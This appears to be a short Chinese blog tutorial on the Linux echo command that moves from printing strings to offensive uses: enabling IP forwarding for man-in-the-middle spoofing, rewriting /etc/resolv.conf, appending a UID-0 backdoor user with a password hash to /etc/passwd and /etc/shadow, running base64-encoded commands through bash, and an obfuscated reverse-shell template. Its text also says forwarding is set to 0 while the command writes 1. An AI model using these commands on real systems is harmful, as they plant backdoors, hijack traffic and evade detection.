echo的一些应用

基础

echo 其实就是一个打印字符串的作用

1

可以看到我这里

先echo "hi shihui"
返回hi shihui
再赋予一个变量str="666"
echo "shihui $str"
返回shihui 666

一些场景下的应用

中间人欺骗场景

我这里先去查看/proc/sys/net/ipv4/ip_forward的值，再利用转发去修改为0（关闭状态）

echo "1" > /proc/sys/net/ipv4/ip_forward

添加DNS

我这里先用echo “nameserver x.x.x.x” > /etc/resolv.conf （修改）
再去echo “nameserver x.x.x.x” >> /etc/resolv.conf （追加）

echo "nameserver x.x.x.x" > /etc/resolv.conf （修改）
echo "nameserver x.x.x.x" >> /etc/resolv.conf (追加)

添加root用户

最后效果如图

echo "sshui:x:0:0::/home/sshui:/bin/bash" >> /etc/passwd

然后添加用户的密码即可

echo
"sshui:\$6\$RFindqMa\$hSOW1eOSD0FEPCoxUWBMd5KNYEuoz2b0MxuSSUBcv0PA0V1bee6
2f/1q0TGTnEhJpTghBdBBGNoOo1fRk1BWS/:18736:0:99999:7:::" >> /etc/shadow

执行命令

echo aWZjb25maWcK|base64 -d|bash
aWZjb25maWcK为ifconfig

反弹shell

bash -c {echo,base64编码后的反弹shell命令}|
{base64,-d}|{bash,-i}

查找⽂件并在当前⽬录下写⼊Shell

我先创建1.jpg图片，再在该文件夹中写入111.txt文件，内容为111

```bash
find / -name 1.jpg|while read file;do sh -c "echo '111'">$(dirname
$file)/111.txt;done